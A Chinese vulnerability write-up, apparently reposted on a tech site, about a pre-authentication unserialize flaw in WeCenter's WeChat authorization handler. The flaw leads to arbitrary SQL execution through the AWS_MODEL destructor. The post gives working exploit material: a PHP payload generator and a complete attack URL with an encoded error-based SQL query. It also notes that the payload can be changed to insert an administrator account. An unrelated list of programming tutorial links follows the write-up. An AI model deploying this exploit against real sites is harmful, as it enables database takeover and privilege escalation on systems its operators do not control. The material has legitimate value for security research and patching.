wecenter反序列化造成任意SQL语句执行
【过年了,每天发一篇以前的存货,一共七篇。】
0x01 反序列化造成的安全问题
wecenter是一款社交CMS,界面清新,功能简介,受到很多人的喜爱。wecenter基于Zend开发,安全性虽不说很顽固,但较少存在低级的SQL注入等漏洞,今天说的是一个由反序列化造成的任意SQL语句执行漏洞。
该漏洞无需登录,利用也很简单,但需要一定条件。下载最新版wecenter,首先看到 /app/m/weixin.php:110
<?php
public function authorization_action()
{
$this->model('account')->logout();
unset(AWS_APP::session()->WXConnect);
if (get_setting('weixin_account_role') != 'service')
{
H::redirect_msg(AWS_APP::lang()->_t('此功能只适用于通过微信认证的服务号'));
}
else if ($_GET['code'] OR $_GET['state'] == 'OAUTH')
{
if ($_GET['state'] == 'OAUTH')
{
$access_token = unserialize(base64_decode($_GET['access_token']));
}
上面这句话将$_GET['access_token']解码以后进行反序列化。当然这个点存在利用条件,那就是get_setting('weixin_account_role') != 'service'
,需要后台设置了微信认证服务号:
反序列化漏洞,一个经典案例: https://www.leavesongs.com/PENETRATION/joomla-unserialize-code-execute-vulnerability.html 我就不介绍原理了,我们直接看到可以利用的类: /system/aws_model.inc.php
<?php
class AWS_MODEL
{
...
/**
* Model 类析构, 执行延迟查询
{
*/
public function __destruct()
{
$this->master();
foreach ($this->_shutdown_query AS $key => $query)
{
$this->query($query);
}
}
}
这里有__destruct函数,我们可以看到,这里直接遍历了_shutdown_query对象,将其值传入query直接执行。 明显存在一个任意SQL语句执行漏洞,只要我生成一个AWS_MODEL类对象,再其销毁的时候就能执行任意SQL语句。
0x02 构造『构造POC』的『POC』
这里这个反序列化漏洞比Joomla那个要简单多了,因为不需要构造执行链,我们利用的东西就直接在当前类中。 但我们回看weixin:authorization_action函数,
<?php
if ($_GET['state'] == 'OAUTH')
{
$access_token = unserialize(base64_decode($_GET['access_token']));
}
else
{
$access_token = $this->model('openid_weixin_weixin')->get_sns_access_token_by_authorization_code($_GET['code']);
}
if ($access_token)
{
if ($access_token['errcode'])
{
H::redirect_msg('授权失败: Authorization ' . $access_token['errcode'] . ' ' . $access_token['errmsg'] . ', Code: ' . htmlspecialchars($_GET['code']));
}
...
因为我们需要在析构函数里执行SQL语句,所以必须要让整个执行过程尽快停止,正好下面这句H::redirect_msg
函数,只要让$access_token['errcode']
为true即可。
所以我构造的反序列化对象是一个数组,数组的第一个元素是error => true,第二个元素就是AWS_MODEL类对象。
代码如下:
<?php
class AWS_MODEL {
private $_shutdown_query;
function __construct()
{
$this->_shutdown_query = [
"SELECT updatexml(1,concat(0xa,user()),1)"
];
}
}
$arr = [
'errcode' => 1,
new AWS_MODEL()
];
echo urlencode(base64_encode(serialize($arr)));</pre>
生成好POC http://10.211.55.3/wecenter/?/m/weixin/authorization/&state=OAUTH&access_token=YToyOntzOjc6ImVycmNvZGUiO2k6MTtpOjA7Tzo5OiJBV1NfTU9ERUwiOjE6e3M6MjY6IgBBV1NfTU9ERUwAX3NodXRkb3duX3F1ZXJ5IjthOjE6e2k6MDtzOjQwOiJTRUxFQ1QgdXBkYXRleG1sKDEsY29uY2F0KDB4YSx1c2VyKCkpLDEpIjt9fX0%3D ,传入weixin这个点,即可触发漏洞,执行我在POC里填入的SQL语句:
上图直接构造一个报错SQL语句,即可直接显示数据。 当然,我也可以执行UPDATE或INSERT语句,增加管理员或提升自己为管理等,语句我就不说了,直接修改POC即可。
- 谈谈WCF中的Data Contract(2):WCF Data Contract对Generic的支持
- Android注解学习(1)
- [WCF权限控制]ASP.NET Roles授权[上篇]
- [WCF权限控制]ASP.NET Roles授权[下篇]
- 如何解决分布式系统中的跨时区问题[实例篇]
- Visual Studio对程序集签名时一个很不好用的地方
- 一个关于解决序列化问题的编程技巧
- [WCF权限控制]从两个重要的概念谈起:Identity与Principal[上篇]
- 从数据到代码——通过代码生成机制实现强类型编程[下篇]
- 谈谈你最熟悉的System.DateTime[下篇]
- 如何解决EnterLib异常处理框架最大的局限——基于异常"类型"的异常处理策略
- [WCF权限控制]从两个重要的概念谈起:Identity与Principal[下篇]
- 收藏!6道常见hadoop面试题及答案解析
- 这是EnterLib PIAB的BUG吗?
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法